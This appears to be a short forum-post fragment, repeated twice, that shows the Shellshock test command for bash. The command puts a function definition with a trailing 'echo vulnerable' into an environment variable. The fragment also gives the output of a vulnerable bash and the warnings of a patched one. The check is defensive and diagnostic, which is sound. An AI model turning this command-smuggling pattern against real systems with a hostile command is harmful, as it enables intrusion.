Code: Select all
env var='() { ignore this;}; echo vulnerable' bash -c /bin/true
Code: Select all
vulnerable
Code: Select all
bash: warning: var: ignoring function definition attempt
bash: error importing function definition for `var'
Code: Select all
env var='() { ignore this;}; echo vulnerable' bash -c /bin/true
Code: Select all
vulnerable
Code: Select all
bash: warning: var: ignoring function definition attempt
bash: error importing function definition for `var'